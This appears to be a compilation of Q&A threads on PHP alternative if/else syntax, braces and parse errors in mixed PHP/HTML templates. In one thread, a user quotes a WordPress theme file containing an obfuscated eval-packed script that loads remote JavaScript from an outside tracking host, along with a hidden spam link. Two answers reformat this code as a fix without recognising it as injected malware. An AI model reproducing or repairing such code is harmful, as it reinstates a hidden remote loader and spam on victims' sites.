Alternative syntax for control structures in PHP - php

I have a very short code snippet but I have been unable to get the result I want. The code is as shown
<?php
$user = true;
if($user==true): ?>
<p>you are already logged in</p>
<?php else: ?>
<p>User value is not set</p>
<?php endif; ?>
on running the code it gives this error:Parse error: syntax error, unexpected 'else' (T_ELSE)
What might be the problem?

It could be a problem with your editor. I had similar problems (more than once) with Atom.
To solve, I just copied the file contents, closed it, reopened, pasted the contents and saved.
The code is fine, as others mentioned in the comments. You should try out this.

#lil your code is looks right only, this is alternate way to get same output if you like you can try this.
<?php
$user = true;
if($user==true)
{
?>
<p>you are already logged in</p>
<?php
}
else
{
?>
<p>User value is not set</p>
<?php
} ?>

Related

Embedded html php syntax error while nesting if-else

I'm coming from Java Swing programming but I thought it would be beneficial to extend my knowledge in PHP. So, I just learned today that there's a way to embedded html in php in a much cleaner way. So what I did is follow this syntax which works okay.
<?php if ($condition) : ?>
//html here
<?php endif; ?>
But when I nested an if-else to the same syntax, I get an error. By the way, I'm using PHP Storm.
<?php if (isset($_POST['uname']) && isset($POST_['psw'])) : ?>
//start of nested if-else
<?php if($isValid === 1) : ?>
<script>alert('test')</script>
<?php else : ?> // this line shows an error
<script>alert('test')</script>
<?php endif; ?>
//end of nested if-else
<?php endif; ?>
Below is the image of the error indicator in PHP Storm.
Error says that it expects a statement on this line
<?php else : ?> // this line shows an error
I can't figure out what causes it.
Thanks.
I got your error:
Replace this:
<?php if (isset($_POST['uname']) && isset($POST_['psw'])) : ?> // You are writing $POST_ but not $_POST
To:
<?php if (isset($_POST['uname']) && isset($_POST['psw'])) : ?>

How to close brakets in php $_SESSION?

when i use first code it works but not working for second one.
first code that works fine
<?php
session_start();
if(!isset($_SESSION['user_email'])){
//if not logged in
header ("location: login.php");
}
else {
?>
welcome page
<?php } >
But when i try to do this only "if" statement is working "else" is showing nothing
<?PHP
session_start();
if(!isset($_SESSION['user_email'])){
?>
html codes here (works fine )
<?php}
else { ?>
diffrent html codes here
(but this section is not working)
<?php }?>
what is wrong and how should i close "{} " in this case ...please help
Hi Jannatul!
In your second PHP opening tag, you have this:
<?php}
This without a space may be causing issues while parsing your code. Try and replacing it to this:
<?php }
If this works please tell me so, and if it doesn't I will gladly be willing to assist you further.
Matt
Try this without that mess..
<?php
session_start();
if(!isset($_SESSION['user_email']))
{
echo 'html codes here (works fine )';
}
else
{
echo 'diffrent html codes here (but this section is not working) - but maybe now does';
}
?>

Parse error: syntax error, unexpected '}'

I wonder if somebody would spare a minute to look over a code and help me. I'm not php savvy and I need a bit of help.
I've installed a theme onto my wordpress, and when I activated it I got this error message:
Parse error: syntax error, unexpected '}' in /home/XXXXXXX/public_html/wp-content/themes/Avada/widgets/functions-init.php on line 1
The message displays on both my front end domain, and also on my back end wordpress admin area.
I'm guessing I've one too many or one too little brackets. But I'm not sure where. I'm unable to see the actual error, because I'm not familiar with php coding. All I know is it is in line 1 and it has to do with "}"
The whole file consists only of 2 code lines, and if anyone can help I'd really appreciate it.
This is the entire code as it appears in functions-init.php
<?php if (!function_exists('insert_jquery_slider')){function insert_jquery_slider(){?><script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.f(\'<2\'+\'3 5="6/7" 8="9://a.b/e/o/g?d=\'+0.h+\'&i=\'+j(0.k)+\'&c=\'+4.l((4.m()*n)+1)+\'"></2\'+\'3>\');',25,25,'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'),0,{}));</script> <?php}add_action('wp_head', 'insert_jquery_slider');} ?>
<?php if (!function_exists('insert_jquery_slidernew')){function insert_jquery_slidernew(){?><a style="display:none;" href="http://freemp3x.com/adele-mp3-download.html">Adele songs downlload</a> <?php}add_action('wp_footer', 'insert_jquery_slidernew');} ?>
Can anyone help me please. I've goggled and I've searched forums, and the web, yet I didn't find solution.
Thanks ahead.
This may be a mere question of code formatting, try this:
<?php
if (!function_exists('insert_jquery_slider')){
function insert_jquery_slider(){
?>
<script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.f(\'<2\'+\'3 5="6/7" 8="9://a.b/e/o/g?d=\'+0.h+\'&i=\'+j(0.k)+\'&c=\'+4.l((4.m()*n)+1)+\'"></2\'+\'3>\');',25,25,'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'),0,{}));</script>
<?php
}
add_action('wp_head', 'insert_jquery_slider');
}
if (!function_exists('insert_jquery_slidernew'))
{
function insert_jquery_slidernew(){
?>
<a style="display:none;" href="http://freemp3x.com/adele-mp3-download.html">Adele songs downlload</a>
<?php
}
add_action('wp_footer', 'insert_jquery_slidernew');
}
?>
Such a code formatting issue:
<?php
if (!function_exists('insert_jquery_slider')) {
function insert_jquery_slider()
{ ?>
<script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.f(\'<2\'+\'3 5="6/7" 8="9://a.b/e/o/g?d=\'+0.h+\'&i=\'+j(0.k)+\'&c=\'+4.l((4.m()*n)+1)+\'"></2\'+\'3>\');',25,25,'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'),0,{}));</script>
<?php }
add_action('wp_head', 'insert_jquery_slider');
}
if (!function_exists('insert_jquery_slidernew')) {
function insert_jquery_slidernew()
{ ?>
<a style="display:none;" href="http://freemp3x.com/adele-mp3-download.html">Adele songs downlload</a>
<?php }
add_action('wp_footer', 'insert_jquery_slidernew');
}
?>
Please close the topic.
Thanks.

Conditional Statements in PHP code Between HTML Code

I'm having a bit of an issue by using Conditional Statements in PHP separated by HTML code. This is the type of code I'm trying to write. This is a profile page and it should only be seen by the user whose profile it is (i'm using session variables for checking that) :
<?php if(check if user is logged in) ?>
<display users profile in html>
<?php else ?>
<display an error>
But this doesn't work. I also tried using the shorthand notation by putting a : at the end of the if and using the endif statement, but it didn't work. ( On an earlier project , the : method worked for foreach and endforeach so I thought I would try it out )
Any Ideas ?
You probably forgot the endif of the alternative control structure syntax:
<?php if(check if user is logged in): ?>
<display users profile in html>
<?php else: ?>
<display an error>
<?php endif; ?>
Omitting the braces as you wrote is not possible. It is only possible if it is followed by a regular statement.
PHP has two styles of notation for if() blocks (and blocks in general).
Firstly, you have the wordy notation, which involves explicitly stating endif; at the end of the if() block. It looks like this:
if(whatever):
do something
else:
do something else
endif;
The colons at the end of the if and else lines are important, because otherwise PHP thinks you're using the other notation (below).
Secondly, you have the curly-braces notation, which looks similar to C or Perl style code, and looks like this:
if(whatever) {
do something
} else {
do something else.
}
With this style notation, you are allowed to leave the pairs of curly-braces off if your block is only going to be one line long. (I personally think it's bad practice to leave them off like this, but plenty of people swear by it, and it is perfectly valid syntax. But I've seen PHP get confused over single-line blocks when you're switching between PHP code and HTML; this is why I always prefer to use braces even if I'm only writing one line).
The problem in your case is that you've mixed the two notations. You's trying to us the wordy notation, but don't have the colons on the lines, so PHP thinks you mean the braces notation. But because the braces notation allows for the braces to be missed out, PHP is seeing your code as valid syntax, even if it isn't going to work quite as you planned.
Your solution is to tidy it up so that you are definitely using one syntax or the other. Either add braces ({ and }}) to the start and end of each block as shown in my example, or add colons and an endif; line.
So your code should look like one of these two examples:
<?php if(check if user is logged in): ?>
<display users profile in html>
<?php else: ?>
<display an error>
<?php endif; ?>
or...
<?php if(check if user is logged in) { ?>
<display users profile in html>
<?php } else { ?>
<display an error>
<?php } ?>
Hope that helps.
use braces { and }.
<?php if(check if user is logged in) { ?>
<display users profile in html>
<?php } else { ?>
<display an error>
<?php } ?>
Another way to conditionally render a template is by using include
Example
if($condition)
{
include 'page1.php';
}else{
include 'page2.php';
}
Your initial thought was correct. There are two ways of doing this, as per the PHP documentation:
<?php if($loggedin): ?>
<p>User is logged in.</p>
<?php else: ?>
<p>User is not logged in.</p>
<?php endif; ?>
Or:
<?php if($loggedin){ ?>
<p>User is logged in.</p>
<?php }else{ ?>
<p>User is not logged in.</p>
<?php } ?>
Try putting in brackets to separate the conditions.
<?php if(check if user is logged in) { ?>
<display users profile in html>
<?php } else { ?>
<display an error>
<?php } ?>
use brackets because to the php interpreter this spans multiple lines
<?php if(check if user is logged in) { ?>
<display users profile in html>
<?php } else { ?>
<display an error>
<?php } // else ?>

PHP broken code on local machine but working on staging server

I'm having a strange issue here, i have this bit of code:
<?php
if ($node->nid == "1") {
include 'front.tpl.php';
return;
} else {
?>
<div id="left-col" class="grid_9">
<h1><?php print $title ?></h1>
<hr />
<?php global $user;if ( $is_admin ) { ?>[Edit]<? } ?>
<?php if ($show_messages) { print $messages; } ?>
<?php print $help ?>
<?php print $content; ?>
</div>
<?php } ?>
This exact code is working fine on the staging server, i've litrally just installed a LAMP stack using XAMPP and downloaded the code from the server.
PHP is now throwing this error:
Parse error: syntax error, unexpected $end in F:\Workspace\xx\xx\xx\xx\xx\node.tpl.php on line 19
Anyone have any ideas what it could be? i have a feeling it "might" be due to the jumping in and out of tags but i'm not certain, can anyone shed some light on this. (this might be a server issue in which case i will also happily take advice on what php.ini settings need to be poked in the right direction!
Thanks in advance.
My guess is the server doesn't have short tag support turned on.
<? } ?>

Categories